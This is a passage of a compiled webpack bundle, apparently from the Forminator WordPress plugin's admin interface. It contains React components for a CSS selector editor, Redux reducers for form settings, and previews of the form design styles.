this.editor.focus();
this.editor.on('change', this.updateValue);
}
}, {
key: 'componentWillUnmount',
value: function componentWillUnmount() {
this.editor.destroy();
this.editor = null;
}
}, {
key: 'insertSelector',
value: function insertSelector(selector) {
var selectClass = selector + '{}';
this.editor.navigateFileEnd();
this.editor.insert(selectClass);
this.editor.navigateLeft(1);
this.editor.focus();
}
}, {
key: 'shouldComponentUpdate',
value: function shouldComponentUpdate() {
return false;
}
}, {
key: 'updateValue',
value: function updateValue() {
this.props.actions.settingsActions.updateSetting(this.props.property, this.editor.getValue());
}
}, {
key: 'render',
value: function render() {
var _this2 = this;
var value = _.isUndefined(this.props.settings[this.props.property]) ? '' : this.props.settings[this.props.property];
var type = !_.isUndefined(this.props.type) ? this.props.type : 'form';
if ('pdf-form' === this.props.formType) {
type = this.props.formType;
}
var basicSelectors = _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'label',
{ className: 'sui-label' },
(0, _utils.translate)('Basic selectors')
),
_react2.default.createElement(
'div',
{ className: 'sui-ace-selectors' },
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' ');
}
},
(0, _utils.translate)('Form')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-title ');
}
},
(0, _utils.translate)('Section Title')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-subtitle ');
}
},
(0, _utils.translate)('Section Subtitle')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-label ');
}
},
(0, _utils.translate)('Field Label')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-description ');
}
},
(0, _utils.translate)('Field Description')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-input ');
}
},
(0, _utils.translate)('Input')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-textarea ');
}
},
(0, _utils.translate)('Textarea')
)
)
);
var pollSelectors = _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'label',
{ className: 'sui-label' },
(0, _utils.translate)('Basic selectors')
),
_react2.default.createElement(
'div',
{ className: 'sui-ace-selectors' },
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' ');
}
},
(0, _utils.translate)('Poll')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-poll--question ');
}
},
(0, _utils.translate)('Question')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-radio .forminator-radio-bullet ');
}
},
(0, _utils.translate)('Answer Input')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-radio .forminator-radio-label ');
}
},
(0, _utils.translate)('Answer Label')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-button ');
}
},
(0, _utils.translate)('Submit Button')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' .forminator-poll-footer a.forminator-link, ' + '.forminator-poll-footer a.forminator-link:visited ');
}
},
(0, _utils.translate)('View Results Link')
)
)
);
var quizSelectors = _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'label',
{ className: 'sui-label' },
(0, _utils.translate)('Basic selectors')
),
_react2.default.createElement(
'div',
{ className: 'sui-ace-selectors' },
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector(' ');
}
},
(0, _utils.translate)('Quiz')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-quiz--title ');
}
},
(0, _utils.translate)('Title')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-quiz--description p ');
}
},
(0, _utils.translate)('Description')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-question .forminator-legend ');
}
},
(0, _utils.translate)('Question')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-answer .forminator-answer--design ');
}
},
(0, _utils.translate)('Answer Container')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-answer .forminator-answer--name ');
}
},
(0, _utils.translate)('Answer Text')
)
)
);
var pdfSelectors = _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(
'label',
{ className: 'sui-label' },
(0, _utils.translate)('PDF selectors')
),
_react2.default.createElement(
'div',
{ className: 'sui-ace-selectors' },
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('body');
}
},
(0, _utils.translate)('Body')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-pdf-header');
}
},
(0, _utils.translate)('PDF Header')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.pdf-logo');
}
},
(0, _utils.translate)('Logo')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.pdf-title');
}
},
(0, _utils.translate)('Title')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-row-heading td');
}
},
(0, _utils.translate)('Field Label')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-row-content td');
}
},
(0, _utils.translate)('Field Value')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-pdf-footer-text td');
}
},
(0, _utils.translate)('Footer')
),
_react2.default.createElement(
'a',
{ className: 'sui-selector sui-insert-selector',
onClick: function onClick() {
return _this2.insertSelector('.forminator-pdf-pagination td');
}
},
(0, _utils.translate)('Pagination')
)
)
);
return _react2.default.createElement(
_react2.default.Fragment,
null,
type === 'form' && basicSelectors,
type === 'poll' && pollSelectors,
type === 'quiz' && quizSelectors,
type === 'pdf-form' && pdfSelectors,
_react2.default.createElement(
'div',
{ id: 'forminator-field-' + this.props.property,
'data-value': value,
style: { height: '210px' }
},
value
)
);
}
}]);
return AceEditor;
}(_react.Component);
exports.default = AceEditor;
/***/ }),
/* 184 */,
/* 185 */,
/* 186 */,
/* 187 */,
/* 188 */,
/* 189 */,
/* 190 */,
/* 191 */,
/* 192 */,
/* 193 */,
/* 194 */,
/* 195 */,
/* 196 */,
/* 197 */,
/* 198 */,
/* 199 */,
/* 200 */,
/* 201 */,
/* 202 */,
/* 203 */,
/* 204 */,
/* 205 */,
/* 206 */,
/* 207 */,
/* 208 */,
/* 209 */,
/* 210 */,
/* 211 */,
/* 212 */,
/* 213 */,
/* 214 */,
/* 215 */,
/* 216 */,
/* 217 */,
/* 218 */,
/* 219 */,
/* 220 */,
/* 221 */,
/* 222 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = configureStore;
var _redux = __webpack_require__(11);
var _reduxThunk = __webpack_require__(112);
var _reduxThunk2 = _interopRequireDefault(_reduxThunk);
var _reducers = __webpack_require__(223);
var _reducers2 = _interopRequireDefault(_reducers);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var newCreateStore = (0, _redux.compose)((0, _redux.applyMiddleware)(_reduxThunk2.default))(_redux.createStore);
function configureStore(initialState) {
return newCreateStore(_reducers2.default, initialState);
}
/***/ }),
/* 223 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _redux = __webpack_require__(11);
var _wrappers = __webpack_require__(224);
var _wrappers2 = _interopRequireDefault(_wrappers);
var _settings = __webpack_require__(225);
var _settings2 = _interopRequireDefault(_settings);
var _modal = __webpack_require__(226);
var _modal2 = _interopRequireDefault(_modal);
var _integrations = __webpack_require__(227);
var _integrations2 = _interopRequireDefault(_integrations);
var _behaviors = __webpack_require__(228);
var _behaviors2 = _interopRequireDefault(_behaviors);
var _notifications = __webpack_require__(229);
var _notifications2 = _interopRequireDefault(_notifications);
var _pdfs = __webpack_require__(230);
var _pdfs2 = _interopRequireDefault(_pdfs);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var appReducers = (0, _redux.combineReducers)({
// List reducers
wrappers: _wrappers2.default,
settings: _settings2.default,
modal: _modal2.default,
integrationConditions: _integrations2.default,
behaviorArray: _behaviors2.default,
notifications: _notifications2.default,
pdfs: _pdfs2.default
});
// Import reducers
exports.default = appReducers;
/***/ }),
/* 224 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = wrappers;
var _utils = __webpack_require__(1);
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
function updateField(state, action) {
var wrapper = action.wrapper;
var wrapperIndex = state.findIndex(function (wrap) {
return wrap.wrapper_id === wrapper.wrapper_id;
});
state = (0, _utils.replaceInPosition)(state, wrapperIndex, wrapper);
return state;
}
function wrappers() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'UPDATE_FIELDS':
return action.wrappers;
case 'UPDATE_FIELD':
return updateField([].concat(_toConsumableArray(state)), action);
default:
return state;
}
}
/***/ }),
/* 225 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
exports.default = settings;
function updateSetting(state, action) {
var setting = action.setting,
value = action.value;
// Update value
state[setting] = value;
return state;
}
function updateSettings(state, action) {
var settings = action.settings;
return _extends({}, state, settings);
}
function resetSettings(state, action) {
var settings = action.settings;
return _extends({}, settings);
}
function updateTitle(state, action) {
var title = action.title;
// Update value
state.formName = title;
return state;
}
function settings() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
var newState = Object.assign({}, state);
switch (action.type) {
case 'UPDATE_SETTINGS':
return updateSettings(newState, action);
case 'RESET_SETTINGS':
return resetSettings(newState, action);
case 'UPDATE_SETTING':
return updateSetting(newState, action);
case 'UPDATE_TITLE':
return updateTitle(newState, action);
default:
return state;
}
}
/***/ }),
/* 226 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var initialState = {
modalType: null,
modalProps: {}
};
exports.default = function () {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : initialState;
var action = arguments[1];
switch (action.type) {
case 'SHOW_MODAL':
return {
modalProps: action.modalProps,
modalType: action.modalType,
type: action.type
};
case 'HIDE_MODAL':
return initialState;
default:
return state;
}
};
/***/ }),
/* 227 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = integrationConditions;
var _utils = __webpack_require__(1);
function integrationConditions() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'UPDATE_INTEGRATION_CONDITIONS':
return action.conditions;
default:
return state;
}
}
/***/ }),
/* 228 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = behaviors;
var _utils = __webpack_require__(1);
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
function updateBehaviorArray(state, action) {
var behavior = action.behavior;
var behaviorIndex = state.findIndex(function (notify) {
return notify.slug === behavior.slug;
});
state = (0, _utils.replaceInPosition)(state, behaviorIndex, behavior);
return state;
}
function behaviors() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'UPDATE_BEHAVIORS':
return action.behaviors;
case 'UPDATE_BEHAVIOR':
return updateBehaviorArray([].concat(_toConsumableArray(state)), action);
default:
return state;
}
}
/***/ }),
/* 229 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = notifications;
var _utils = __webpack_require__(1);
function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }
function updateNotification(state, action) {
var notification = action.notification;
var notificationIndex = state.findIndex(function (notify) {
return notify.slug === notification.slug;
});
state = (0, _utils.replaceInPosition)(state, notificationIndex, notification);
return state;
}
function notifications() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'UPDATE_NOTIFICATIONS':
return action.notifications;
case 'UPDATE_NOTIFICATION':
return updateNotification([].concat(_toConsumableArray(state)), action);
default:
return state;
}
}
/***/ }),
/* 230 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = pdfs;
function pdfs() {
var state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
var action = arguments[1];
switch (action.type) {
case 'UPDATE_PDFS':
return action.pdfs;
default:
return state;
}
}
/***/ }),
/* 231 */,
/* 232 */,
/* 233 */,
/* 234 */,
/* 235 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ModalImage = function (_Component) {
_inherits(ModalImage, _Component);
function ModalImage(props) {
_classCallCheck(this, ModalImage);
return _possibleConstructorReturn(this, (ModalImage.__proto__ || Object.getPrototypeOf(ModalImage)).call(this, props));
}
_createClass(ModalImage, [{
key: 'render',
value: function render() {
var image = this.props.filename ? this.props.filename : '';
var getclass = 'sui-box-banner';
var getalt = (0, _utils.translate)('Forminator image');
if (!_.isUndefined(this.props.logo) && true === this.props.logo) {
getclass = 'sui-box-logo';
}
if (!_.isUndefined(this.props.alt) && '' !== this.props.alt) {
getalt = this.props.alt;
}
return _react2.default.createElement(
'figure',
{ className: getclass, 'aria-hidden': 'true' },
_react2.default.createElement('img', {
src: forminatorData.imagesUrl + '/' + image + '.png',
srcSet: forminatorData.imagesUrl + '/' + image + '.png 1x,\n\t\t\t\t\t' + forminatorData.imagesUrl + '/' + image + '@2x.png 2x',
alt: getalt
})
);
}
}]);
return ModalImage;
}(_react.Component);
exports.default = ModalImage;
/***/ }),
/* 236 */,
/* 237 */,
/* 238 */,
/* 239 */,
/* 240 */,
/* 241 */,
/* 242 */,
/* 243 */,
/* 244 */,
/* 245 */,
/* 246 */,
/* 247 */,
/* 248 */,
/* 249 */,
/* 250 */,
/* 251 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _reactRouterDom = __webpack_require__(27);
var _utils = __webpack_require__(1);
var _default = __webpack_require__(252);
var _default2 = _interopRequireDefault(_default);
var _flat = __webpack_require__(253);
var _flat2 = _interopRequireDefault(_flat);
var _bold = __webpack_require__(254);
var _bold2 = _interopRequireDefault(_bold);
var _material = __webpack_require__(255);
var _material2 = _interopRequireDefault(_material);
var _basic = __webpack_require__(256);
var _basic2 = _interopRequireDefault(_basic);
var _none = __webpack_require__(257);
var _none2 = _interopRequireDefault(_none);
var _radioTabs = __webpack_require__(7);
var _radioTabs2 = _interopRequireDefault(_radioTabs);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var DesignStyle = function (_Component) {
_inherits(DesignStyle, _Component);
function DesignStyle() {
_classCallCheck(this, DesignStyle);
return _possibleConstructorReturn(this, (DesignStyle.__proto__ || Object.getPrototypeOf(DesignStyle)).apply(this, arguments));
}
_createClass(DesignStyle, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'sui-box-settings-row' },
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-1' },
_react2.default.createElement(
'span',
{ className: 'sui-settings-label' },
(0, _utils.translate)('Design Style')
),
_react2.default.createElement(
'span',
{ className: 'sui-description' },
(0, _utils.translate)("Choose a pre-made style for your form and further customize it's appearance below.")
)
),
_react2.default.createElement(
'div',
{ className: 'sui-box-settings-col-2' },
_react2.default.createElement(
_radioTabs2.default,
_extends({}, this.props, {
property: 'form-style',
'default': 'default'
}),
_react2.default.createElement(
_default2.default,
{ value: 'default', boxClass: 'sui-tab-content sui-tab-boxed' },
(0, _utils.translate)('Default')
),
_react2.default.createElement(
_flat2.default,
{ value: 'flat', boxClass: 'sui-tab-content sui-tab-boxed' },
(0, _utils.translate)('Flat')
),
_react2.default.createElement(
_bold2.default,
{ value: 'bold', boxClass: 'sui-tab-content sui-tab-boxed' },
(0, _utils.translate)('Bold')
),
_react2.default.createElement(
_material2.default,
{ value: 'material', boxClass: 'sui-tab-content sui-tab-boxed' },
(0, _utils.translate)('Material')
),
_react2.default.createElement(
_none2.default,
{ value: 'none', boxClass: 'sui-tab-content' },
(0, _utils.translate)('None')
)
)
)
);
}
}]);
return DesignStyle;
}(_react.Component);
exports.default = DesignStyle;
/***/ }),
/* 252 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var designDefault = function (_Component) {
_inherits(designDefault, _Component);
function designDefault(props) {
_classCallCheck(this, designDefault);
return _possibleConstructorReturn(this, (designDefault.__proto__ || Object.getPrototypeOf(designDefault)).call(this, props));
}
_createClass(designDefault, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'fui-demo fui-demo--custom-form fui-demo--default' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', {
type: 'text',
placeholder: (0, _utils.translate)('Placeholder'),
readOnly: 'readonly'
}),
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' }),
_react2.default.createElement(
'button',
null,
(0, _utils.translate)('Button')
)
);
}
}]);
return designDefault;
}(_react.Component);
exports.default = designDefault;
/***/ }),
/* 253 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var designFlat = function (_Component) {
_inherits(designFlat, _Component);
function designFlat(props) {
_classCallCheck(this, designFlat);
return _possibleConstructorReturn(this, (designFlat.__proto__ || Object.getPrototypeOf(designFlat)).call(this, props));
}
_createClass(designFlat, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'fui-demo fui-demo--custom-form fui-demo--flat' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', {
type: 'text',
placeholder: (0, _utils.translate)('Placeholder'),
readOnly: 'readonly'
}),
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' }),
_react2.default.createElement(
'button',
null,
(0, _utils.translate)('Button')
)
);
}
}]);
return designFlat;
}(_react.Component);
exports.default = designFlat;
/***/ }),
/* 254 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var designBold = function (_Component) {
_inherits(designBold, _Component);
function designBold(props) {
_classCallCheck(this, designBold);
return _possibleConstructorReturn(this, (designBold.__proto__ || Object.getPrototypeOf(designBold)).call(this, props));
}
_createClass(designBold, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'fui-demo fui-demo--custom-form fui-demo--bold' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', {
type: 'text',
placeholder: (0, _utils.translate)('Placeholder'),
readOnly: 'readonly'
}),
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' }),
_react2.default.createElement(
'button',
null,
(0, _utils.translate)('Button')
)
);
}
}]);
return designBold;
}(_react.Component);
exports.default = designBold;
/***/ }),
/* 255 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var designMaterial = function (_Component) {
_inherits(designMaterial, _Component);
function designMaterial(props) {
_classCallCheck(this, designMaterial);
return _possibleConstructorReturn(this, (designMaterial.__proto__ || Object.getPrototypeOf(designMaterial)).call(this, props));
}
_createClass(designMaterial, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'fui-demo fui-demo--custom-form fui-demo--material' },
_react2.default.createElement(
'div',
{ className: 'fui-is_empty' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', {
type: 'text',
readOnly: 'readonly'
})
),
_react2.default.createElement(
'div',
{ className: 'fui-is_filled' },
_react2.default.createElement(
'label',
null,
(0, _utils.translate)('Field Label')
),
_react2.default.createElement('input', { type: 'text', value: (0, _utils.translate)('Text'), readOnly: 'readonly' })
),
